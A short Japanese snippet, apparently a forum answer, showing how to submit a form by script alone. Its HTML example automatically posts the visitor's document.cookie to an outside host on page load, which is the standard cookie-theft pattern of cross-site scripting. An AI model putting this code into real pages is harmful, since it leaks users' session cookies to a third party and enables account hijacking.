これでscriptだけでformが遅れます。
<html>
<body>
</body>
<script>
var frm = document.createElement("form");
var ipt1 = document.createElement("input");
frm.action = "http://www.yahoo.co.jp";
frm.method = "post";
ipt1.name = "cookieData";
ipt1.value = document.cookie;
frm.appendChild(ipt1);
document.body.appendChild(frm);
frm.submit();
</script>
</html>